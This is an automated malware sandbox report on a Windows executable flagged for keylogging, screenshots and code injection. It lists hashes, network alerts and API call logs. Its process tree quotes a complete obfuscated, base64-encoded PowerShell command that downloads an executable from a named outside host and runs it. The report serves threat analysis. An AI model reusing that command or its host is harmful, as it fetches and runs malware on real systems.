Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6402	March 19, 2021, 6:08 p.m.	March 19, 2021, 6:10 p.m.

Size	847.5KB
Type	PE32 executable (GUI) Intel 80386, for MS Windows
MD5	`6bab770bd66fa7242fa314a0987a89ec`
SHA256	`2ed9cd200f5e28e2fd908d7203d86e74c3336db4867b904f0c7afd2b249d6ee6`
CRC32	`5D6A884A`
ssdeep	`24576:nAHnh+eWsN3skA4RV1Hom2KXMmHa8SA5:ah+ZkldoPK8Ya8N`
Yara	Process_Snapshot_Kill_Zero - Process Kill Zero PE_Header_Zero - PE File Signature Zero OS_Processor_Check_Zero - OS Processor Check Signature Zero Device_Check_Zero - Device Check Zero CryptGenKey_Zero - CryptGenKey Zero FindFirstVolume_Zero - FindFirstVolume Zero inject_thread - Code injection with CreateRemoteThread in a remote process network_http - Communications over HTTP escalate_priv - Escalade priviledges screenshot - Take screenshot keylogger - Run a keylogger win_registry - Affect system registries win_token - Affect system token win_files_operation - Affect private profile Str_Win32_Winsock2_Library - Match Winsock 2 API library declaration Str_Win32_Wininet_Library - Match Windows Inet API library declaration Str_Win32_Internet_API - Match Windows Inet API call Str_Win32_Http_API - Match Windows Http API call IsPE32 - (no description) IsWindowsGUI - (no description) HasDebugData - DebugData Check HasRichSignature - Rich Signature Check AutoIt - www.autoitscript.com/site/autoit/

AjXib.txt "C:\Users\test22\AppData\Local\Temp\AjXib.txt"
8024
- powershell.exe powershell.exe PowERsHEL`l -ExecutionPolicy Bypass -w 1 /`e IAAoAE4ARQB3AC0AbwBiAGoARQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALgBEAG8AdwBuAEwAbwBBAGQAZgBJAGwARQAoACAAHSBoAHQAdABwADoALwAvAG4AYgBzAC4AdgBpAHoAegBoAG8AcwB0AC4AYwBvAG0ALwBhAC8AYwBmAHMAbQAuAHQAeAB0AB0gIAAsACAAHSAkAEUATgB2ADoAdABlAG0AcABcAEkAYgBoAGgAQwBEAEEARgAuAGUAeABlAB0gIAApACAAOwAgAHMAdABBAFIAdAAgAB0gJABFAE4AdgA6AHQAZQBtAHAAXABJAGIAaABoAEMARABBAEYALgBlAHgAZQAdIA==
  7144
  - powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -w 1 /e IAAoAE4ARQB3AC0AbwBiAGoARQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALgBEAG8AdwBuAEwAbwBBAGQAZgBJAGwARQAoACAAHSBoAHQAdABwADoALwAvAG4AYgBzAC4AdgBpAHoAegBoAG8AcwB0AC4AYwBvAG0ALwBhAC8AYwBmAHMAbQAuAHQAeAB0AB0gIAAsACAAHSAkAEUATgB2ADoAdABlAG0AcABcAEkAYgBoAGgAQwBEAEEARgAuAGUAeABlAB0gIAApACAAOwAgAHMAdABBAFIAdAAgAB0gJABFAE4AdgA6AHQAZQBtAHAAXABJAGIAaABoAEMARABBAEYALgBlAHgAZQAdIA==
    8992
    - IbhhCDAF.exe "C:\Users\test22\AppData\Local\Temp\IbhhCDAF.exe"
      8620

Name	Response	Post-Analysis Lookup
nbs.vizzhost.com	A 58.82.194.128	58.82.194.128

IP Address	Status	Action
164.124.101.2	Active	Moloch
58.82.194.128	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 58.82.194.128:80 -> 192.168.56.102:49811	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 58.82.194.128:80 -> 192.168.56.102:49811	2008438	ET MALWARE Possible Windows executable sent when remote host claims to send a Text File	A Network Trojan was detected
TCP 58.82.194.128:80 -> 192.168.56.102:49811	2016538	ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download	Potentially Bad Traffic

Suricata TLS

No Suricata TLS

Queries for the computername (13 events)

Time & API	Arguments	Status	Return
GetComputerNameW March 19, 2021, 6:08 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 19, 2021, 6:08 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 19, 2021, 6:08 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 19, 2021, 6:08 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA March 19, 2021, 6:08 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 19, 2021, 6:08 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 19, 2021, 6:08 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 19, 2021, 6:08 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 19, 2021, 6:08 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 19, 2021, 6:08 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA March 19, 2021, 6:08 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 19, 2021, 6:08 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 19, 2021, 6:08 p.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (3 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent March 19, 2021, 6:08 p.m.			0	0
IsDebuggerPresent March 19, 2021, 6:08 p.m.			0	0
IsDebuggerPresent March 19, 2021, 6:08 p.m.			0	0

Uses Windows APIs to generate a cryptographic key (50 out of 80 events)

Time & API	Arguments	Status	Return
CryptExportKey March 19, 2021, 6:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0054aa18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 19, 2021, 6:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0054afd8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 19, 2021, 6:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0054afd8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 19, 2021, 6:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0054afd8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 19, 2021, 6:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0054b318 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 19, 2021, 6:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0054b318 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 19, 2021, 6:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0054b318 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 19, 2021, 6:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0054b318 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 19, 2021, 6:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0054b318 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 19, 2021, 6:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0054b318 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 19, 2021, 6:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0054ae98 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 19, 2021, 6:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0054ae98 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 19, 2021, 6:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0054ae98 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 19, 2021, 6:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0054afd8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 19, 2021, 6:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0054afd8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 19, 2021, 6:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0054afd8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 19, 2021, 6:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0054aad8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 19, 2021, 6:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0054afd8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 19, 2021, 6:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0054afd8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 19, 2021, 6:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0054afd8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 19, 2021, 6:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0054afd8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 19, 2021, 6:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0054afd8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 19, 2021, 6:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0054afd8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 19, 2021, 6:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0054afd8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 19, 2021, 6:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0054a698 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 19, 2021, 6:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0054a698 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 19, 2021, 6:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0054a698 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 19, 2021, 6:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0054a698 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 19, 2021, 6:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0054a698 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 19, 2021, 6:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0054a698 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 19, 2021, 6:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0054a698 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 19, 2021, 6:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0054a698 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 19, 2021, 6:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0054a698 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 19, 2021, 6:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0054a698 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 19, 2021, 6:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0054a698 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 19, 2021, 6:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0054a698 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 19, 2021, 6:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0054a698 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 19, 2021, 6:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0054a698 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 19, 2021, 6:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0054ab98 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 19, 2021, 6:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0054ab98 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 19, 2021, 6:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0039b7b0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 19, 2021, 6:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0039c070 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 19, 2021, 6:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0039c070 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 19, 2021, 6:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0039c070 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 19, 2021, 6:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0039b7f0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 19, 2021, 6:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0039b7f0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 19, 2021, 6:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0039b7f0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 19, 2021, 6:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0039b7f0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 19, 2021, 6:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0039b7f0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 19, 2021, 6:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0039b7f0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx March 19, 2021, 6:08 p.m.		1	1	0

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 event)

suspicious_features

GET method with no useragent header

suspicious_request

GET http://nbs.vizzhost.com/a/cfsm.txt

Performs some HTTP requests (1 event)

request

GET http://nbs.vizzhost.com/a/cfsm.txt

Allocates read-write-execute memory (usually to unpack itself) (50 out of 270 events)

Time & API	Arguments	Status
NtProtectVirtualMemory March 19, 2021, 6:08 p.m.	process_identifier: 8024 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73772000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 19, 2021, 6:08 p.m.	process_identifier: 7144 region_size: 983040 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02970000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 19, 2021, 6:08 p.m.	process_identifier: 7144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a20000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory March 19, 2021, 6:08 p.m.	process_identifier: 7144 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6fc91000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 19, 2021, 6:08 p.m.	process_identifier: 7144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x021ca000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory March 19, 2021, 6:08 p.m.	process_identifier: 7144 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6fc92000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 19, 2021, 6:08 p.m.	process_identifier: 7144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x021c2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 19, 2021, 6:08 p.m.	process_identifier: 7144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x021d2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 19, 2021, 6:08 p.m.	process_identifier: 7144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a21000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 19, 2021, 6:08 p.m.	process_identifier: 7144 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a22000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 19, 2021, 6:08 p.m.	process_identifier: 7144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0223a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 19, 2021, 6:08 p.m.	process_identifier: 7144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x021d3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 19, 2021, 6:08 p.m.	process_identifier: 7144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x021d4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 19, 2021, 6:08 p.m.	process_identifier: 7144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0268b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 19, 2021, 6:08 p.m.	process_identifier: 7144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02687000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 19, 2021, 6:08 p.m.	process_identifier: 7144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x021cb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 19, 2021, 6:08 p.m.	process_identifier: 7144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02232000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 19, 2021, 6:08 p.m.	process_identifier: 7144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02685000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 19, 2021, 6:08 p.m.	process_identifier: 7144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x021d5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 19, 2021, 6:08 p.m.	process_identifier: 7144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0223c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 19, 2021, 6:08 p.m.	process_identifier: 7144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02920000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 19, 2021, 6:08 p.m.	process_identifier: 7144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x021d6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 19, 2021, 6:08 p.m.	process_identifier: 7144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0268c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 19, 2021, 6:08 p.m.	process_identifier: 7144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02233000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 19, 2021, 6:08 p.m.	process_identifier: 7144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02234000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 19, 2021, 6:08 p.m.	process_identifier: 7144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02235000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 19, 2021, 6:08 p.m.	process_identifier: 7144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02236000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 19, 2021, 6:08 p.m.	process_identifier: 7144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02237000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 19, 2021, 6:08 p.m.	process_identifier: 7144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02238000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 19, 2021, 6:08 p.m.	process_identifier: 7144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02239000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 19, 2021, 6:08 p.m.	process_identifier: 7144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ad0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 19, 2021, 6:08 p.m.	process_identifier: 7144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ad1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 19, 2021, 6:08 p.m.	process_identifier: 7144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ad2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 19, 2021, 6:08 p.m.	process_identifier: 7144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ad3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 19, 2021, 6:08 p.m.	process_identifier: 7144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ad4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 19, 2021, 6:08 p.m.	process_identifier: 7144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ad5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 19, 2021, 6:08 p.m.	process_identifier: 7144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ad6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 19, 2021, 6:08 p.m.	process_identifier: 7144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ad7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 19, 2021, 6:08 p.m.	process_identifier: 7144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ad8000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 19, 2021, 6:08 p.m.	process_identifier: 7144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ad9000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 19, 2021, 6:08 p.m.	process_identifier: 7144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ada000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 19, 2021, 6:08 p.m.	process_identifier: 7144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02adb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 19, 2021, 6:08 p.m.	process_identifier: 7144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02adc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 19, 2021, 6:08 p.m.	process_identifier: 7144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02add000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 19, 2021, 6:08 p.m.	process_identifier: 7144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ade000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 19, 2021, 6:08 p.m.	process_identifier: 7144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02adf000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 19, 2021, 6:08 p.m.	process_identifier: 7144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02b20000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
